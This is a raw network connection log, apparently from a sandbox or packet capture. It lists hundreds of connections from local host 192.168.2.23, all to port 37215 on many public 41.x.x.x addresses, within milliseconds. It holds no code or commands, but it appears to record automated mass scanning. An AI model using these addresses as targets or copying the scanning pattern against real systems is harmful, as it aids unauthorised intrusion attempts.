Feb 19, 2024 18:35:39.513907909 CET	54001	37215	192.168.2.23	41.26.165.249
Feb 19, 2024 18:35:39.513922930 CET	54001	37215	192.168.2.23	41.48.31.235
Feb 19, 2024 18:35:39.513926983 CET	54001	37215	192.168.2.23	41.68.175.152
Feb 19, 2024 18:35:39.513942003 CET	54001	37215	192.168.2.23	41.121.139.221
Feb 19, 2024 18:35:39.513956070 CET	54001	37215	192.168.2.23	41.106.108.21
Feb 19, 2024 18:35:39.513972998 CET	54001	37215	192.168.2.23	41.127.232.109
Feb 19, 2024 18:35:39.514004946 CET	54001	37215	192.168.2.23	41.87.36.227
Feb 19, 2024 18:35:39.514004946 CET	54001	37215	192.168.2.23	41.64.246.113
Feb 19, 2024 18:35:39.514015913 CET	54001	37215	192.168.2.23	41.75.126.82
Feb 19, 2024 18:35:39.514029980 CET	54001	37215	192.168.2.23	41.3.57.138
Feb 19, 2024 18:35:39.514039040 CET	54001	37215	192.168.2.23	41.228.194.134
Feb 19, 2024 18:35:39.514050961 CET	54001	37215	192.168.2.23	41.154.226.234
Feb 19, 2024 18:35:39.514061928 CET	54001	37215	192.168.2.23	41.18.187.74
Feb 19, 2024 18:35:39.514072895 CET	54001	37215	192.168.2.23	41.103.187.4
Feb 19, 2024 18:35:39.514091015 CET	54001	37215	192.168.2.23	41.28.173.15
Feb 19, 2024 18:35:39.514106035 CET	54001	37215	192.168.2.23	41.66.196.167
Feb 19, 2024 18:35:39.514118910 CET	54001	37215	192.168.2.23	41.47.179.208
Feb 19, 2024 18:35:39.514139891 CET	54001	37215	192.168.2.23	41.104.12.244
Feb 19, 2024 18:35:39.514143944 CET	54001	37215	192.168.2.23	41.112.108.252
Feb 19, 2024 18:35:39.514153957 CET	54001	37215	192.168.2.23	41.27.247.207
Feb 19, 2024 18:35:39.514194012 CET	54001	37215	192.168.2.23	41.44.137.228
Feb 19, 2024 18:35:39.514206886 CET	54001	37215	192.168.2.23	41.78.119.85
Feb 19, 2024 18:35:39.514219046 CET	54001	37215	192.168.2.23	41.165.252.57
Feb 19, 2024 18:35:39.514223099 CET	54001	37215	192.168.2.23	41.143.145.199
Feb 19, 2024 18:35:39.514229059 CET	54001	37215	192.168.2.23	41.114.127.148
Feb 19, 2024 18:35:39.514229059 CET	54001	37215	192.168.2.23	41.235.236.124
Feb 19, 2024 18:35:39.514245987 CET	54001	37215	192.168.2.23	41.42.30.202
Feb 19, 2024 18:35:39.514271975 CET	54001	37215	192.168.2.23	41.218.14.200
Feb 19, 2024 18:35:39.514272928 CET	54001	37215	192.168.2.23	41.58.194.123
Feb 19, 2024 18:35:39.514283895 CET	54001	37215	192.168.2.23	41.150.95.183
Feb 19, 2024 18:35:39.514297009 CET	54001	37215	192.168.2.23	41.114.232.51
Feb 19, 2024 18:35:39.514313936 CET	54001	37215	192.168.2.23	41.97.103.176
Feb 19, 2024 18:35:39.514331102 CET	54001	37215	192.168.2.23	41.227.146.19
Feb 19, 2024 18:35:39.514339924 CET	54001	37215	192.168.2.23	41.65.41.64
Feb 19, 2024 18:35:39.514355898 CET	54001	37215	192.168.2.23	41.89.33.72
Feb 19, 2024 18:35:39.514362097 CET	54001	37215	192.168.2.23	41.247.86.210
Feb 19, 2024 18:35:39.514378071 CET	54001	37215	192.168.2.23	41.26.172.19
Feb 19, 2024 18:35:39.514398098 CET	54001	37215	192.168.2.23	41.220.204.120
Feb 19, 2024 18:35:39.514404058 CET	54001	37215	192.168.2.23	41.251.107.71
Feb 19, 2024 18:35:39.514417887 CET	54001	37215	192.168.2.23	41.73.207.119
Feb 19, 2024 18:35:39.514434099 CET	54001	37215	192.168.2.23	41.173.12.66
Feb 19, 2024 18:35:39.514444113 CET	54001	37215	192.168.2.23	41.131.152.205
Feb 19, 2024 18:35:39.514455080 CET	54001	37215	192.168.2.23	41.52.236.185
Feb 19, 2024 18:35:39.514466047 CET	54001	37215	192.168.2.23	41.182.79.220
Feb 19, 2024 18:35:39.514482975 CET	54001	37215	192.168.2.23	41.6.230.195
Feb 19, 2024 18:35:39.514508009 CET	54001	37215	192.168.2.23	41.112.82.230
Feb 19, 2024 18:35:39.514522076 CET	54001	37215	192.168.2.23	41.174.6.180
Feb 19, 2024 18:35:39.514537096 CET	54001	37215	192.168.2.23	41.174.43.94
Feb 19, 2024 18:35:39.514539003 CET	54001	37215	192.168.2.23	41.172.103.181
Feb 19, 2024 18:35:39.514542103 CET	54001	37215	192.168.2.23	41.23.48.182
Feb 19, 2024 18:35:39.514555931 CET	54001	37215	192.168.2.23	41.38.103.246
Feb 19, 2024 18:35:39.514570951 CET	54001	37215	192.168.2.23	41.103.157.226
Feb 19, 2024 18:35:39.514583111 CET	54001	37215	192.168.2.23	41.192.153.35
Feb 19, 2024 18:35:39.514592886 CET	54001	37215	192.168.2.23	41.119.201.192
Feb 19, 2024 18:35:39.514605999 CET	54001	37215	192.168.2.23	41.244.56.242
Feb 19, 2024 18:35:39.514630079 CET	54001	37215	192.168.2.23	41.59.161.187
Feb 19, 2024 18:35:39.514633894 CET	54001	37215	192.168.2.23	41.160.75.215
Feb 19, 2024 18:35:39.514645100 CET	54001	37215	192.168.2.23	41.155.169.179
Feb 19, 2024 18:35:39.514664888 CET	54001	37215	192.168.2.23	41.171.223.223
Feb 19, 2024 18:35:39.514677048 CET	54001	37215	192.168.2.23	41.168.108.23
Feb 19, 2024 18:35:39.514693022 CET	54001	37215	192.168.2.23	41.146.96.140
Feb 19, 2024 18:35:39.514702082 CET	54001	37215	192.168.2.23	41.108.90.24
Feb 19, 2024 18:35:39.514719009 CET	54001	37215	192.168.2.23	41.159.191.63
Feb 19, 2024 18:35:39.514736891 CET	54001	37215	192.168.2.23	41.101.168.146
Feb 19, 2024 18:35:39.514753103 CET	54001	37215	192.168.2.23	41.175.248.253
Feb 19, 2024 18:35:39.514753103 CET	54001	37215	192.168.2.23	41.222.34.161
Feb 19, 2024 18:35:39.514791012 CET	54001	37215	192.168.2.23	41.105.109.51
Feb 19, 2024 18:35:39.514794111 CET	54001	37215	192.168.2.23	41.216.185.120
Feb 19, 2024 18:35:39.514802933 CET	54001	37215	192.168.2.23	41.169.81.217
Feb 19, 2024 18:35:39.514811993 CET	54001	37215	192.168.2.23	41.244.137.96
Feb 19, 2024 18:35:39.514827967 CET	54001	37215	192.168.2.23	41.140.44.154
Feb 19, 2024 18:35:39.514834881 CET	54001	37215	192.168.2.23	41.113.248.19
Feb 19, 2024 18:35:39.514846087 CET	54001	37215	192.168.2.23	41.215.199.19
Feb 19, 2024 18:35:39.514859915 CET	54001	37215	192.168.2.23	41.162.11.49
Feb 19, 2024 18:35:39.514870882 CET	54001	37215	192.168.2.23	41.9.248.108
Feb 19, 2024 18:35:39.514885902 CET	54001	37215	192.168.2.23	41.123.162.174
Feb 19, 2024 18:35:39.514899015 CET	54001	37215	192.168.2.23	41.179.15.57
Feb 19, 2024 18:35:39.514915943 CET	54001	37215	192.168.2.23	41.131.38.204
Feb 19, 2024 18:35:39.514929056 CET	54001	37215	192.168.2.23	41.0.46.181
Feb 19, 2024 18:35:39.514947891 CET	54001	37215	192.168.2.23	41.174.86.27
Feb 19, 2024 18:35:39.514954090 CET	54001	37215	192.168.2.23	41.214.204.224
Feb 19, 2024 18:35:39.514966965 CET	54001	37215	192.168.2.23	41.28.8.11
Feb 19, 2024 18:35:39.514977932 CET	54001	37215	192.168.2.23	41.132.170.184
Feb 19, 2024 18:35:39.514988899 CET	54001	37215	192.168.2.23	41.178.104.116
Feb 19, 2024 18:35:39.515002012 CET	54001	37215	192.168.2.23	41.95.169.2
Feb 19, 2024 18:35:39.515018940 CET	54001	37215	192.168.2.23	41.172.65.78
Feb 19, 2024 18:35:39.515033960 CET	54001	37215	192.168.2.23	41.146.97.185
Feb 19, 2024 18:35:39.515047073 CET	54001	37215	192.168.2.23	41.34.57.203
Feb 19, 2024 18:35:39.515063047 CET	54001	37215	192.168.2.23	41.42.163.79
Feb 19, 2024 18:35:39.515078068 CET	54001	37215	192.168.2.23	41.29.51.6
Feb 19, 2024 18:35:39.515089989 CET	54001	37215	192.168.2.23	41.151.71.172
Feb 19, 2024 18:35:39.515106916 CET	54001	37215	192.168.2.23	41.255.235.243
Feb 19, 2024 18:35:39.515116930 CET	54001	37215	192.168.2.23	41.49.197.184
Feb 19, 2024 18:35:39.515129089 CET	54001	37215	192.168.2.23	41.179.45.26
Feb 19, 2024 18:35:39.515146017 CET	54001	37215	192.168.2.23	41.201.5.250
Feb 19, 2024 18:35:39.515157938 CET	54001	37215	192.168.2.23	41.20.184.140
Feb 19, 2024 18:35:39.515167952 CET	54001	37215	192.168.2.23	41.84.92.221
Feb 19, 2024 18:35:39.515177011 CET	54001	37215	192.168.2.23	41.173.119.179
Feb 19, 2024 18:35:39.515196085 CET	54001	37215	192.168.2.23	41.14.89.183
Feb 19, 2024 18:35:39.515203953 CET	54001	37215	192.168.2.23	41.90.126.75
Feb 19, 2024 18:35:39.515217066 CET	54001	37215	192.168.2.23	41.244.149.68
Feb 19, 2024 18:35:39.515230894 CET	54001	37215	192.168.2.23	41.172.151.227
Feb 19, 2024 18:35:39.515250921 CET	54001	37215	192.168.2.23	41.113.76.49
Feb 19, 2024 18:35:39.515254021 CET	54001	37215	192.168.2.23	41.63.37.50
Feb 19, 2024 18:35:39.515271902 CET	54001	37215	192.168.2.23	41.212.115.44
Feb 19, 2024 18:35:39.515284061 CET	54001	37215	192.168.2.23	41.121.127.50
Feb 19, 2024 18:35:39.515299082 CET	54001	37215	192.168.2.23	41.247.219.192
Feb 19, 2024 18:35:39.515309095 CET	54001	37215	192.168.2.23	41.169.201.247
Feb 19, 2024 18:35:39.515321970 CET	54001	37215	192.168.2.23	41.166.222.106
Feb 19, 2024 18:35:39.515350103 CET	54001	37215	192.168.2.23	41.48.199.138
Feb 19, 2024 18:35:39.515358925 CET	54001	37215	192.168.2.23	41.105.134.211
Feb 19, 2024 18:35:39.515372038 CET	54001	37215	192.168.2.23	41.161.114.241
Feb 19, 2024 18:35:39.515382051 CET	54001	37215	192.168.2.23	41.7.146.102
Feb 19, 2024 18:35:39.515392065 CET	54001	37215	192.168.2.23	41.220.112.217
Feb 19, 2024 18:35:39.515403986 CET	54001	37215	192.168.2.23	41.159.175.244
Feb 19, 2024 18:35:39.515414953 CET	54001	37215	192.168.2.23	41.43.150.80
Feb 19, 2024 18:35:39.515439034 CET	54001	37215	192.168.2.23	41.61.23.245
Feb 19, 2024 18:35:39.515444040 CET	54001	37215	192.168.2.23	41.95.20.249
Feb 19, 2024 18:35:39.515458107 CET	54001	37215	192.168.2.23	41.75.196.141
Feb 19, 2024 18:35:39.515470028 CET	54001	37215	192.168.2.23	41.246.4.46
Feb 19, 2024 18:35:39.515485048 CET	54001	37215	192.168.2.23	41.226.117.198
Feb 19, 2024 18:35:39.515496016 CET	54001	37215	192.168.2.23	41.117.11.7
Feb 19, 2024 18:35:39.515507936 CET	54001	37215	192.168.2.23	41.76.26.38
Feb 19, 2024 18:35:39.515522957 CET	54001	37215	192.168.2.23	41.131.29.250
Feb 19, 2024 18:35:39.515535116 CET	54001	37215	192.168.2.23	41.98.108.251
Feb 19, 2024 18:35:39.515546083 CET	54001	37215	192.168.2.23	41.49.228.124
Feb 19, 2024 18:35:39.515559912 CET	54001	37215	192.168.2.23	41.157.82.210
Feb 19, 2024 18:35:39.515578032 CET	54001	37215	192.168.2.23	41.137.21.120
Feb 19, 2024 18:35:39.515604973 CET	54001	37215	192.168.2.23	41.124.112.192
Feb 19, 2024 18:35:39.515604973 CET	54001	37215	192.168.2.23	41.78.26.41
Feb 19, 2024 18:35:39.515611887 CET	54001	37215	192.168.2.23	41.124.187.177
Feb 19, 2024 18:35:39.515629053 CET	54001	37215	192.168.2.23	41.157.49.5
Feb 19, 2024 18:35:39.515646935 CET	54001	37215	192.168.2.23	41.173.239.199
Feb 19, 2024 18:35:39.515667915 CET	54001	37215	192.168.2.23	41.33.16.128
Feb 19, 2024 18:35:39.515670061 CET	54001	37215	192.168.2.23	41.187.84.95
Feb 19, 2024 18:35:39.515682936 CET	54001	37215	192.168.2.23	41.13.98.115
Feb 19, 2024 18:35:39.515701056 CET	54001	37215	192.168.2.23	41.173.252.46
Feb 19, 2024 18:35:39.515713930 CET	54001	37215	192.168.2.23	41.80.150.235
Feb 19, 2024 18:35:39.515726089 CET	54001	37215	192.168.2.23	41.42.130.168
Feb 19, 2024 18:35:39.515737057 CET	54001	37215	192.168.2.23	41.64.48.184
Feb 19, 2024 18:35:39.515748978 CET	54001	37215	192.168.2.23	41.0.115.175
Feb 19, 2024 18:35:39.515760899 CET	54001	37215	192.168.2.23	41.7.76.182
Feb 19, 2024 18:35:39.515772104 CET	54001	37215	192.168.2.23	41.36.22.103
Feb 19, 2024 18:35:39.515788078 CET	54001	37215	192.168.2.23	41.59.59.35
Feb 19, 2024 18:35:39.515801907 CET	54001	37215	192.168.2.23	41.166.227.23
Feb 19, 2024 18:35:39.515816927 CET	54001	37215	192.168.2.23	41.162.41.211
Feb 19, 2024 18:35:39.515829086 CET	54001	37215	192.168.2.23	41.10.15.44
Feb 19, 2024 18:35:39.515846014 CET	54001	37215	192.168.2.23	41.202.138.9
Feb 19, 2024 18:35:39.515862942 CET	54001	37215	192.168.2.23	41.32.25.243
Feb 19, 2024 18:35:39.515862942 CET	54001	37215	192.168.2.23	41.79.86.125
Feb 19, 2024 18:35:39.515878916 CET	54001	37215	192.168.2.23	41.118.28.73
Feb 19, 2024 18:35:39.515887976 CET	54001	37215	192.168.2.23	41.246.202.28
Feb 19, 2024 18:35:39.515902996 CET	54001	37215	192.168.2.23	41.126.176.48
Feb 19, 2024 18:35:39.515922070 CET	54001	37215	192.168.2.23	41.77.12.197
Feb 19, 2024 18:35:39.515935898 CET	54001	37215	192.168.2.23	41.207.31.88
Feb 19, 2024 18:35:39.515953064 CET	54001	37215	192.168.2.23	41.8.192.153
Feb 19, 2024 18:35:39.515966892 CET	54001	37215	192.168.2.23	41.239.129.149
Feb 19, 2024 18:35:39.515976906 CET	54001	37215	192.168.2.23	41.34.200.19
Feb 19, 2024 18:35:39.515995026 CET	54001	37215	192.168.2.23	41.12.23.178
Feb 19, 2024 18:35:39.516017914 CET	54001	37215	192.168.2.23	41.9.111.76
Feb 19, 2024 18:35:39.516021013 CET	54001	37215	192.168.2.23	41.229.81.212
Feb 19, 2024 18:35:39.516042948 CET	54001	37215	192.168.2.23	41.58.181.149
Feb 19, 2024 18:35:39.516083956 CET	54001	37215	192.168.2.23	41.196.55.112
Feb 19, 2024 18:35:39.516083956 CET	54001	37215	192.168.2.23	41.91.0.70
Feb 19, 2024 18:35:39.516084909 CET	54001	37215	192.168.2.23	41.77.84.242
Feb 19, 2024 18:35:39.516084909 CET	54001	37215	192.168.2.23	41.83.123.67
Feb 19, 2024 18:35:39.516097069 CET	54001	37215	192.168.2.23	41.19.105.138
Feb 19, 2024 18:35:39.516113043 CET	54001	37215	192.168.2.23	41.159.170.184
Feb 19, 2024 18:35:39.516127110 CET	54001	37215	192.168.2.23	41.96.205.203
Feb 19, 2024 18:35:39.516139984 CET	54001	37215	192.168.2.23	41.87.23.91
Feb 19, 2024 18:35:39.516155958 CET	54001	37215	192.168.2.23	41.223.224.56
Feb 19, 2024 18:35:39.516170025 CET	54001	37215	192.168.2.23	41.23.31.27
Feb 19, 2024 18:35:39.516181946 CET	54001	37215	192.168.2.23	41.160.140.215
Feb 19, 2024 18:35:39.516196966 CET	54001	37215	192.168.2.23	41.238.108.120
Feb 19, 2024 18:35:39.516211033 CET	54001	37215	192.168.2.23	41.167.213.85
Feb 19, 2024 18:35:39.516232967 CET	54001	37215	192.168.2.23	41.204.140.143
Feb 19, 2024 18:35:39.516232967 CET	54001	37215	192.168.2.23	41.152.51.235
Feb 19, 2024 18:35:39.516252041 CET	54001	37215	192.168.2.23	41.175.55.221
Feb 19, 2024 18:35:39.516283989 CET	54001	37215	192.168.2.23	41.164.118.131
Feb 19, 2024 18:35:39.516283989 CET	54001	37215	192.168.2.23	41.156.185.31
Feb 19, 2024 18:35:39.516288042 CET	54001	37215	192.168.2.23	41.205.65.127
Feb 19, 2024 18:35:39.516303062 CET	54001	37215	192.168.2.23	41.101.83.50
Feb 19, 2024 18:35:39.516320944 CET	54001	37215	192.168.2.23	41.140.190.37
Feb 19, 2024 18:35:39.516335964 CET	54001	37215	192.168.2.23	41.28.245.177
Feb 19, 2024 18:35:39.516346931 CET	54001	37215	192.168.2.23	41.122.224.3
Feb 19, 2024 18:35:39.516360044 CET	54001	37215	192.168.2.23	41.121.160.17
Feb 19, 2024 18:35:39.516390085 CET	54001	37215	192.168.2.23	41.222.2.129
Feb 19, 2024 18:35:39.516396046 CET	54001	37215	192.168.2.23	41.197.119.226
Feb 19, 2024 18:35:39.516396046 CET	54001	37215	192.168.2.23	41.177.151.78
Feb 19, 2024 18:35:39.516412020 CET	54001	37215	192.168.2.23	41.101.148.133
Feb 19, 2024 18:35:39.516421080 CET	54001	37215	192.168.2.23	41.184.112.2
Feb 19, 2024 18:35:39.516437054 CET	54001	37215	192.168.2.23	41.186.60.121
Feb 19, 2024 18:35:39.516453028 CET	54001	37215	192.168.2.23	41.85.130.202
Feb 19, 2024 18:35:39.516472101 CET	54001	37215	192.168.2.23	41.95.188.4
Feb 19, 2024 18:35:39.516484022 CET	54001	37215	192.168.2.23	41.128.198.35
Feb 19, 2024 18:35:39.516501904 CET	54001	37215	192.168.2.23	41.11.124.61
Feb 19, 2024 18:35:39.516501904 CET	54001	37215	192.168.2.23	41.206.217.99
Feb 19, 2024 18:35:39.516515017 CET	54001	37215	192.168.2.23	41.251.178.109
Feb 19, 2024 18:35:39.516524076 CET	54001	37215	192.168.2.23	41.138.57.151
Feb 19, 2024 18:35:39.516542912 CET	54001	37215	192.168.2.23	41.24.59.34
Feb 19, 2024 18:35:39.516558886 CET	54001	37215	192.168.2.23	41.22.181.144
Feb 19, 2024 18:35:39.516558886 CET	54001	37215	192.168.2.23	41.39.12.242
Feb 19, 2024 18:35:39.516583920 CET	54001	37215	192.168.2.23	41.192.101.8
Feb 19, 2024 18:35:39.516602993 CET	54001	37215	192.168.2.23	41.237.65.231
Feb 19, 2024 18:35:39.516607046 CET	54001	37215	192.168.2.23	41.185.132.21
Feb 19, 2024 18:35:39.516617060 CET	54001	37215	192.168.2.23	41.32.229.160
Feb 19, 2024 18:35:39.516640902 CET	54001	37215	192.168.2.23	41.49.64.182
Feb 19, 2024 18:35:39.516655922 CET	54001	37215	192.168.2.23	41.46.8.105
Feb 19, 2024 18:35:39.516679049 CET	54001	37215	192.168.2.23	41.82.8.140
Feb 19, 2024 18:35:39.516679049 CET	54001	37215	192.168.2.23	41.92.2.105
Feb 19, 2024 18:35:39.516693115 CET	54001	37215	192.168.2.23	41.255.7.25
Feb 19, 2024 18:35:39.516702890 CET	54001	37215	192.168.2.23	41.25.13.145
Feb 19, 2024 18:35:39.516721010 CET	54001	37215	192.168.2.23	41.253.166.197
Feb 19, 2024 18:35:39.516731024 CET	54001	37215	192.168.2.23	41.141.17.88
Feb 19, 2024 18:35:39.516740084 CET	54001	37215	192.168.2.23	41.47.130.182
Feb 19, 2024 18:35:39.516760111 CET	54001	37215	192.168.2.23	41.82.160.152
Feb 19, 2024 18:35:39.516767025 CET	54001	37215	192.168.2.23	41.77.80.138
Feb 19, 2024 18:35:39.516781092 CET	54001	37215	192.168.2.23	41.145.238.49
Feb 19, 2024 18:35:39.516798019 CET	54001	37215	192.168.2.23	41.208.62.72
Feb 19, 2024 18:35:39.516813993 CET	54001	37215	192.168.2.23	41.126.36.138
Feb 19, 2024 18:35:39.516822100 CET	54001	37215	192.168.2.23	41.148.53.42
Feb 19, 2024 18:35:39.516835928 CET	54001	37215	192.168.2.23	41.169.255.101
Feb 19, 2024 18:35:39.516855001 CET	54001	37215	192.168.2.23	41.178.32.234
Feb 19, 2024 18:35:39.516865015 CET	54001	37215	192.168.2.23	41.129.6.167
Feb 19, 2024 18:35:39.516884089 CET	54001	37215	192.168.2.23	41.125.43.180
Feb 19, 2024 18:35:39.516896009 CET	54001	37215	192.168.2.23	41.217.110.98
Feb 19, 2024 18:35:39.516906023 CET	54001	37215	192.168.2.23	41.39.232.108
Feb 19, 2024 18:35:39.516920090 CET	54001	37215	192.168.2.23	41.76.199.12
Feb 19, 2024 18:35:39.516952038 CET	54001	37215	192.168.2.23	41.50.130.55
Feb 19, 2024 18:35:39.516964912 CET	54001	37215	192.168.2.23	41.181.199.222
Feb 19, 2024 18:35:39.516980886 CET	54001	37215	192.168.2.23	41.248.52.104
Feb 19, 2024 18:35:39.516995907 CET	54001	37215	192.168.2.23	41.75.128.113
Feb 19, 2024 18:35:39.517009974 CET	54001	37215	192.168.2.23	41.191.124.201
Feb 19, 2024 18:35:39.517009974 CET	54001	37215	192.168.2.23	41.170.81.174
Feb 19, 2024 18:35:39.517034054 CET	54001	37215	192.168.2.23	41.251.255.115
Feb 19, 2024 18:35:39.517051935 CET	54001	37215	192.168.2.23	41.212.27.114
Feb 19, 2024 18:35:39.517069101 CET	54001	37215	192.168.2.23	41.7.114.73
Feb 19, 2024 18:35:39.517070055 CET	54001	37215	192.168.2.23	41.126.156.27
Feb 19, 2024 18:35:39.517072916 CET	54001	37215	192.168.2.23	41.218.15.89
Feb 19, 2024 18:35:39.517092943 CET	54001	37215	192.168.2.23	41.15.6.166
Feb 19, 2024 18:35:39.517105103 CET	54001	37215	192.168.2.23	41.90.141.183
Feb 19, 2024 18:35:39.517122030 CET	54001	37215	192.168.2.23	41.109.76.225
Feb 19, 2024 18:35:39.517133951 CET	54001	37215	192.168.2.23	41.171.45.54
Feb 19, 2024 18:35:39.517152071 CET	54001	37215	192.168.2.23	41.23.111.229
Feb 19, 2024 18:35:39.517162085 CET	54001	37215	192.168.2.23	41.24.99.20
Feb 19, 2024 18:35:39.517185926 CET	54001	37215	192.168.2.23	41.45.96.129
Feb 19, 2024 18:35:39.517188072 CET	54001	37215	192.168.2.23	41.98.89.180
Feb 19, 2024 18:35:39.517211914 CET	54001	37215	192.168.2.23	41.39.200.88
Feb 19, 2024 18:35:39.517220020 CET	54001	37215	192.168.2.23	41.88.195.16
Feb 19, 2024 18:35:39.517220020 CET	54001	37215	192.168.2.23	41.209.135.192
Feb 19, 2024 18:35:39.517232895 CET	54001	37215	192.168.2.23	41.225.55.14
Feb 19, 2024 18:35:39.517249107 CET	54001	37215	192.168.2.23	41.206.233.118
Feb 19, 2024 18:35:39.517260075 CET	54001	37215	192.168.2.23	41.155.254.9
Feb 19, 2024 18:35:39.517286062 CET	54001	37215	192.168.2.23	41.126.65.69
Feb 19, 2024 18:35:39.517290115 CET	54001	37215	192.168.2.23	41.57.7.178
Feb 19, 2024 18:35:39.517299891 CET	54001	37215	192.168.2.23	41.174.151.178
Feb 19, 2024 18:35:39.517312050 CET	54001	37215	192.168.2.23	41.76.143.169
Feb 19, 2024 18:35:39.517316103 CET	54001	37215	192.168.2.23	41.92.7.46
Feb 19, 2024 18:35:39.517337084 CET	54001	37215	192.168.2.23	41.97.188.149
Feb 19, 2024 18:35:39.517359018 CET	54001	37215	192.168.2.23	41.36.53.199
Feb 19, 2024 18:35:39.517383099 CET	54001	37215	192.168.2.23	41.31.99.233
Feb 19, 2024 18:35:39.517384052 CET	54001	37215	192.168.2.23	41.81.16.73
Feb 19, 2024 18:35:39.517395020 CET	54001	37215	192.168.2.23	41.203.70.57
Feb 19, 2024 18:35:39.517415047 CET	54001	37215	192.168.2.23	41.107.36.137
Feb 19, 2024 18:35:39.517424107 CET	54001	37215	192.168.2.23	41.159.131.2
Feb 19, 2024 18:35:39.517448902 CET	54001	37215	192.168.2.23	41.78.254.199
Feb 19, 2024 18:35:39.517458916 CET	54001	37215	192.168.2.23	41.8.99.208
Feb 19, 2024 18:35:39.517469883 CET	54001	37215	192.168.2.23	41.9.74.231
Feb 19, 2024 18:35:39.517489910 CET	54001	37215	192.168.2.23	41.245.77.64
Feb 19, 2024 18:35:39.517491102 CET	54001	37215	192.168.2.23	41.180.7.142
Feb 19, 2024 18:35:39.517505884 CET	54001	37215	192.168.2.23	41.157.71.118
Feb 19, 2024 18:35:39.517517090 CET	54001	37215	192.168.2.23	41.239.163.239
Feb 19, 2024 18:35:39.517532110 CET	54001	37215	192.168.2.23	41.96.208.242
Feb 19, 2024 18:35:39.517549038 CET	54001	37215	192.168.2.23	41.175.150.239
Feb 19, 2024 18:35:39.517554045 CET	54001	37215	192.168.2.23	41.135.252.146
Feb 19, 2024 18:35:39.517574072 CET	54001	37215	192.168.2.23	41.207.198.9
Feb 19, 2024 18:35:39.517589092 CET	54001	37215	192.168.2.23	41.210.187.92
Feb 19, 2024 18:35:39.517604113 CET	54001	37215	192.168.2.23	41.113.105.182
Feb 19, 2024 18:35:39.517611980 CET	54001	37215	192.168.2.23	41.186.9.103
Feb 19, 2024 18:35:39.517622948 CET	54001	37215	192.168.2.23	41.244.187.114
Feb 19, 2024 18:35:39.517640114 CET	54001	37215	192.168.2.23	41.169.244.169
Feb 19, 2024 18:35:39.517647028 CET	54001	37215	192.168.2.23	41.46.189.152
Feb 19, 2024 18:35:39.517672062 CET	54001	37215	192.168.2.23	41.241.225.47
Feb 19, 2024 18:35:39.517682076 CET	54001	37215	192.168.2.23	41.106.71.30
Feb 19, 2024 18:35:39.517693996 CET	54001	37215	192.168.2.23	41.100.53.190
Feb 19, 2024 18:35:39.517709970 CET	54001	37215	192.168.2.23	41.229.105.19
Feb 19, 2024 18:35:39.517731905 CET	54001	37215	192.168.2.23	41.169.149.87
Feb 19, 2024 18:35:39.517740011 CET	54001	37215	192.168.2.23	41.37.140.236
Feb 19, 2024 18:35:39.517750978 CET	54001	37215	192.168.2.23	41.61.211.255
Feb 19, 2024 18:35:39.517769098 CET	54001	37215	192.168.2.23	41.179.40.71
Feb 19, 2024 18:35:39.517795086 CET	54001	37215	192.168.2.23	41.149.197.124
Feb 19, 2024 18:35:39.517807961 CET	54001	37215	192.168.2.23	41.82.93.238
Feb 19, 2024 18:35:39.517822027 CET	54001	37215	192.168.2.23	41.69.222.70
Feb 19, 2024 18:35:39.517837048 CET	54001	37215	192.168.2.23	41.68.239.14
Feb 19, 2024 18:35:39.517853022 CET	54001	37215	192.168.2.23	41.31.191.182
Feb 19, 2024 18:35:39.517873049 CET	54001	37215	192.168.2.23	41.19.78.226
Feb 19, 2024 18:35:39.517879009 CET	54001	37215	192.168.2.23	41.149.53.97
Feb 19, 2024 18:35:39.517899036 CET	54001	37215	192.168.2.23	41.246.238.156
Feb 19, 2024 18:35:39.517899036 CET	54001	37215	192.168.2.23	41.157.42.248
Feb 19, 2024 18:35:39.517911911 CET	54001	37215	192.168.2.23	41.239.72.236
Feb 19, 2024 18:35:39.517921925 CET	54001	37215	192.168.2.23	41.214.122.92
Feb 19, 2024 18:35:39.517935038 CET	54001	37215	192.168.2.23	41.65.66.19
Feb 19, 2024 18:35:39.517951012 CET	54001	37215	192.168.2.23	41.178.254.239
Feb 19, 2024 18:35:39.517965078 CET	54001	37215	192.168.2.23	41.14.151.156
Feb 19, 2024 18:35:39.517983913 CET	54001	37215	192.168.2.23	41.250.222.43
Feb 19, 2024 18:35:39.518001080 CET	54001	37215	192.168.2.23	41.171.203.104
Feb 19, 2024 18:35:39.518004894 CET	54001	37215	192.168.2.23	41.242.87.195
Feb 19, 2024 18:35:39.518019915 CET	54001	37215	192.168.2.23	41.141.235.217
Feb 19, 2024 18:35:39.518033981 CET	54001	37215	192.168.2.23	41.68.202.144
Feb 19, 2024 18:35:39.518045902 CET	54001	37215	192.168.2.23	41.226.65.152
Feb 19, 2024 18:35:39.518073082 CET	54001	37215	192.168.2.23	41.151.134.143
Feb 19, 2024 18:35:39.518090010 CET	54001	37215	192.168.2.23	41.138.64.62
Feb 19, 2024 18:35:39.518091917 CET	54001	37215	192.168.2.23	41.250.28.25
Feb 19, 2024 18:35:39.518109083 CET	54001	37215	192.168.2.23	41.27.163.175
Feb 19, 2024 18:35:39.518131018 CET	54001	37215	192.168.2.23	41.218.9.192
Feb 19, 2024 18:35:39.518143892 CET	54001	37215	192.168.2.23	41.18.66.116
Feb 19, 2024 18:35:39.518143892 CET	54001	37215	192.168.2.23	41.242.40.23
Feb 19, 2024 18:35:39.518158913 CET	54001	37215	192.168.2.23	41.245.243.245
Feb 19, 2024 18:35:39.518171072 CET	54001	37215	192.168.2.23	41.177.21.227
Feb 19, 2024 18:35:39.518187046 CET	54001	37215	192.168.2.23	41.132.224.54
Feb 19, 2024 18:35:39.518203020 CET	54001	37215	192.168.2.23	41.178.190.33
Feb 19, 2024 18:35:39.518213987 CET	54001	37215	192.168.2.23	41.78.67.231
Feb 19, 2024 18:35:39.518229008 CET	54001	37215	192.168.2.23	41.117.77.19
Feb 19, 2024 18:35:39.518246889 CET	54001	37215	192.168.2.23	41.159.238.159
Feb 19, 2024 18:35:39.518256903 CET	54001	37215	192.168.2.23	41.221.118.174
Feb 19, 2024 18:35:39.518269062 CET	54001	37215	192.168.2.23	41.163.62.53
Feb 19, 2024 18:35:39.518286943 CET	54001	37215	192.168.2.23	41.191.34.174
Feb 19, 2024 18:35:39.518301010 CET	54001	37215	192.168.2.23	41.84.10.159
Feb 19, 2024 18:35:39.518321991 CET	54001	37215	192.168.2.23	41.89.142.153
Feb 19, 2024 18:35:39.518330097 CET	54001	37215	192.168.2.23	41.142.46.87
Feb 19, 2024 18:35:39.518346071 CET	54001	37215	192.168.2.23	41.129.112.252
Feb 19, 2024 18:35:39.518356085 CET	54001	37215	192.168.2.23	41.170.205.53
Feb 19, 2024 18:35:39.518363953 CET	54001	37215	192.168.2.23	41.192.142.142
